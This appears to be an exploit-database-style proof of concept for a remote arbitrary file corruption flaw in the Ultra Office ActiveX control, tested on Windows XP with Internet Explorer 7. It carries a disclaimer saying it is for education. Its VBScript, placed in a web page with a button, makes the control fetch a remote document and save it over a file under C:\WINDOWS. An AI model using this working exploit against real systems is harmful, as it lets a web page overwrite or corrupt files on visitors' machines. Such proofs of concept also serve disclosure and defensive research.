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 Ultra Office ActiveX Control Remote Arbitrary File Corruption
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://SomeSite.com/SomeFile.doc"
   test.Open remURL, True
   test.Save "C:\WINDOWS\_system.ini", True
 End Sub
</script>